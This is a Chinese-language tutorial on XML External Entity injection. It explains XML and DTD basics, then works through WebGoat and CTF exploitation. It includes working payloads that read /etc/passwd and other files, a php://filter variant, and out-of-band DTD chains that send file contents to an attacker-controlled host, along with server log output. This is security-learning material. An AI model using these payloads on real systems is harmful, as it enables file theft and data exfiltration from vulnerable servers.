XXE (XML External Entity Injection)
目录
XXE漏洞原理
XML 基本格式
XXE 跟 XML 有关联,先了解一些基础知识再玩儿漏洞。
XML 是用来传输和存储数据的一种标准格式,就和 JSON 格式一样都是给你一个框框你往里填数据,大家都遵守这个格式在各个语言解析数据时就方便,不需要针对每个格式编写一套解析规则。
下面是从菜鸟教程摘的一段 XML 格式的数据,每行我都放上了注释。它和 HTML 某些特征一样,标签成对出现,开始标签里可以有属性。
<!-- XML 文档声明 -->
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!-- 每个 XML 文档必须有根元素 -->
<note>
<!-- 根元素里面叫子元素 -->
<to id="1">Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
XML 标签中数据是特殊字符时用 HTML 字符实体引用,避免解析器错误闭合。
<?xml version="1.0" encoding="UTF-8"?>
<note>
<!-- & 符号使用十六进制数字引用 -->
<to id="1">&</to>
<!-- & 符号使用十进制数字引用 -->
<from>&</from>
<!-- & 符号使字符引用 -->
<heading>&</heading>
</note>
内部 DTD 声明
DTD(Document Type Definition)用于规范标签命名和属性的使用,不再像前面一样随意命名啦。
DOCTYPE 就是声明 DTD 的标签,其中 root-element,就是前面提到的根元素,这里可以自定义一个根元素名称,接着 [element-declarations]
里面可以决定根元素里面使用那些标签——想要在 XML 中使用任意标签就写 ANY [ANY]
,这些标签类型怎么设置。
<!DOCTYPE root-element [element-declarations]>
下面看一个实例。
其中 <!ELEMENT note (to,from,heading,body)>
定义了 note 根元素里面只能包含 to、from、heading、body 这四个子元素。
<!ELEMENT to (#PCDATA)>
就是声明了一个完成元素,则是说 to 是元素名称,#PCDATA是元素类型——两个标签中的值如果是标签可以被 XML 解析器解析。元素声明看这篇文章。
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
外部 DTD 声明
上面的内部声明标签和类型声明都放在 XML 里面,它也可以像 CSS/JS 一样去引用外部资源。
我们把标签和类型定义摘出来放入 note.dtd
文件中。
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
直接在 XML 中引用这个外部文件,打开浏览器你会发现 XML 正常解析。其中最关键的是新增 SYSTEM
来引入 DTD 文件。这里需要主要 xml 属性 standalone 值不能是 yes,因为它表示当前文档是否独立不依赖外部 DTD。
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
内/外部 DTD 实体声明
什么是实体呢?可以可以想象成“常量”,提前定义好一个名和值,后面来调用它。
你看我们声明实体的语法和表示标签的类似,就是关键字从 ELEMENT 换成 ENTITY,同样定义外/内部实体区别在于有没有 SYSTEM
关键字。
实体还分为以下几种:
- 参数实体(parameter entities),定义时带有百分号。
- 内部实体(internal entities),定义不带百分号。
- 外部实体(external entities),定义不带百分号。
下面给出两种实体定义方式:
<!-- 内部实体定义 -->
<!ENTITY entity-name "entity-value">
<!ENTITY % entity-name "entity-value">
<!-- 外部实体定义 -->
<!ENTITY entity-name SYSTEM "URI/URL">
<!ENTITY % entity-name SYSTEM "URI/URL">
怎么去使用这两种实体?
内/外实体调用是要在标签页使用 &
开头,中间为实体名称,最后;
结尾。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE exp [
<!ENTITY % value SYSTEM "http://xxx.xxx.xxx.xxx/2.dtd">
<!-- 参数实体引用 -->
%value;
]>
参数实体呢必须要在 DTD 中调用,直接用 %
跟上实体名称用 ;
结尾就成。调用时 XML 解析器会吧对应名字替换成值,下例中 pass 实体在被引用时值会被替换成 file://c:/windows/win.ini
。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE exp [
<!ENTITY pass SYSTEM "file://c:/windows/win.ini">
<!ENTITY shaodw SYSTEM "http://www.xxx.com/1.dtd">
]>
<!-- 外部实体引用 -->
<exp>
&pass;
&shaodw;
</exp>
利用
file:// 读取文件
要是引用外部实体是一个文件,是不是能读取文件内容呢?下面使用 WebGoat 8.0 练习 XXE。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE exp [
<!ENTITY pass SYSTEM "file:///etc/passwd">
]>
<exp>
&pass;
<exp>
同样也可以使用 HTTP 协议读取内容,这就有点 SSRF 影子。
其中远程 DTD 文件内容是。
<!ENTITY file SYSTEM "file:///home/webgoat/.webgoat-8.1.0/XXE/secret.txt">
Burp 发送请求后,服务器收到 Web 应用发送的请求。
111.200.55.98 - - [20/Jul/2020:12:33:11 +0800] "GET /attack.dtd HTTP/1.1" 301 162 "-" "Java/11.0.1" "-"
111.200.55.98 - - [20/Jul/2020:12:33:11 +0800] "GET /attack.dtd HTTP/1.1" 200 199 "-" "Java/11.0.1" "-"
顺利得到结果。引用顺序是 DTD 文件 -> DTD 文件内实体,在本例中是 XML 解析器发送 GET 请求得到 attack.dtd 接着调用 dtd 文件内外部实体让解析器去去文件内容。
php://filter 读取文件
PHP 可以采用 php://filter
获取目标文件的内容。
<!DOCTYPE a [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % dtd SYSTEM "http://www.xxx.cn/attack.dtd">
%dtd; %accesslog; %data;
]>
attack.dtd 的内容。
<!-- 通过 PHP 接收 GET 参数来获得数据,也可直接查 WebServer 日志 -->
<!ENTITY % accesslog "<!ENTITY % data SYSTEM 'http://www.xxx.cn/?c=%file;'>">
Payload 引用外部实体文件 dtd,文件内容被解析后调用参数实体 %accesslog,accesslog 参数内容是个嵌套实体,调用会联动触发 %file,最终数据当做 GET 参数传递到服务器——GET参数不会有长度限制吗?
主机/端口扫描
由于采用的是 HTTP 协议请求外部实体,我们也可以像 SSRF 一样探测内网和主机端口。
DOS
XXE 还可以进行 DOS,主要先定义一个实体值会有很多,接着循环嵌套相互调用多次即可。
OOB
有时候就是获取不了信息,可以尝试外带。
应用在登录时发现 POST 参数 txtXML 用 XML 传输信息,就直接尝试插入外部实体。
<?xml version="1.0"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://www.raingray:12345/p/fc279b/kPKR/">]>
<EFSFRAME efsframe="urn=www-efsframe-cn" version="1.0">
<DATAINFO>
<LOGININFO>
<YHM>1</YHM>
<YHMM>C81E728D9D4C2F636F067F89CC14862C</YHMM>
<LOGINIP>1.1.1.1</LOGINIP>
<MAC></MAC>
</LOGININFO>
<foo>&xxe;</foo>
</DATAINFO>
</EFSFRAME>
http://www.raingray:12345/p/fc279b/kPKR/ 里响应的 DTD 是。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY bbbb SYSTEM 'http://www.raingray.com/p/a8a2ca/O14/?data=%file;'>">
%send;
实体被解析,Xray 盲打平台收到 HTTP 请求。可以获取主机名等信息。但像 /etc/passwd 这种带有换行的就不好获取,会失败。
CTF 比赛中 Bind XXE 的第二种方案是:
首先在 vps 上创建 1.dtd,开启 http 服务确保能够被访问到。
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % send "<!ENTITY % bbbb SYSTEM 'http://www.raingray.com:7172/?data=%file;'>">
最后向服务端发送 XXE Payload。整个过程是服务端先解析了 XML Payload,首先执行 %sendFlag; 向VPS 上获取 1.dtd,随后执行 %send;%bbbb; 将 /etc/flag(实际上最好先请求 /etc/hostname 试试漏洞是不是存在,而不是一上来就读取 flag) 中的一行数据发送到 VPS 7172 HTTP 端口上。
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE exp [
<!ENTITY % sendFlag SYSTEM "http://www.raingray.com:7172/1.dtd">
%sendFlag;%send;%bbbb;
]>
总结
哪些地方可能存在 XXE:
- HTTP DATA 是 XML 时可以尝试。
- 有时某些库也默认解析 XML,可以尝试把 Content-Type 改为
Content-Type: application/xml
。
防御(待补充实例)
- 配置对应库禁用使用外部实体。
- 采用黑名单方式过滤用户传递 DTD 关键字。
参考链接
- https://www.runoob.com/xml/xml-dtd.html
- DTD 教程
- DTD实体XXE浅析
- 十四、XML 外部实体注入,实际案例值得一看。
- 一篇文章带你深入理解漏洞之 XXE 漏洞 ,深度好文
- WebGoat8.0
- What Are XML External Entity (XXE) Attacks
问题
- 除了可以通过 http、file 协议可以关注语言本身还支持哪些。
最近更新:
发布时间: